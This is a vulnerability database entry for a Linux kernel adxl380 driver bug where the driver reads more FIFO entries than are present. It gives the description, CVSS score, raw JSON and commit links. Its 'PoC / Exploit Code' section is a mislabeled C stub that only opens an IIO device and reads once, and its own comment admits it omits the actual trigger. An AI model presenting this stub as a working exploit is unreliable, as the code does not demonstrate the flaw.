Security Vulnerability Report
中文
CVE-2026-43307 CVSS 7.8 HIGH

CVE-2026-43307

Published: 2026-05-08 14:16:38
Last Modified: 2026-05-11 08:16:09
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: iio: accel: adxl380: Avoid reading more entries than present in FIFO The interrupt handler reads FIFO entries in batches of N samples, where N is the number of scan elements that have been enabled. However, the sensor fills the FIFO one sample at a time, even when more than one channel is enabled. Therefore,the number of entries reported by the FIFO status registers may not be a multiple of N; if this number is not a multiple, the number of entries read from the FIFO may exceed the number of entries actually present. To fix the above issue, round down the number of FIFO entries read from the status registers so that it is always a multiple of N.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel (adxl380 driver prior to commit a40f316085985f916ba1599fc303fdbc6a078e86)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * Conceptual PoC for CVE-2026-43307 * Triggering the FIFO read overflow in adxl380 driver. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #define IIO_DEVICE "/dev/iio:device0" int main() { int fd; char buffer[1024]; printf("[*] Attempting to trigger CVE-2026-43307\n"); fd = open(IIO_DEVICE, O_RDONLY); if (fd < 0) { perror("[-] Failed to open IIO device"); return -1; } printf("[+] Opened %s. Reading data to trigger interrupt handler...\n", IIO_DEVICE); // In a real exploit, specific buffer setup would be done here // to ensure the FIFO has a non-multiple entry count. read(fd, buffer, sizeof(buffer)); printf("[*] Read operation completed. Check dmesg for kernel instability.\n"); close(fd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43307", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:38.027", "lastModified": "2026-05-11T08:16:09.047", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\niio: accel: adxl380: Avoid reading more entries than present in FIFO\n\nThe interrupt handler reads FIFO entries in batches of N samples, where N\nis the number of scan elements that have been enabled. However, the sensor\nfills the FIFO one sample at a time, even when more than one channel is\nenabled. Therefore,the number of entries reported by the FIFO status\nregisters may not be a multiple of N; if this number is not a multiple, the\nnumber of entries read from the FIFO may exceed the number of entries\nactually present.\n\nTo fix the above issue, round down the number of FIFO entries read from the\nstatus registers so that it is always a multiple of N."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/a40f316085985f916ba1599fc303fdbc6a078e86", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/a8e88edfd69df7b63c882aa53e61e7c078806ad7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/c1b14015224cfcccd5356333763f2f4f401bd810", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/f42ddb2945ae4ce2b6f1c2e7aae9f14455a734d3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}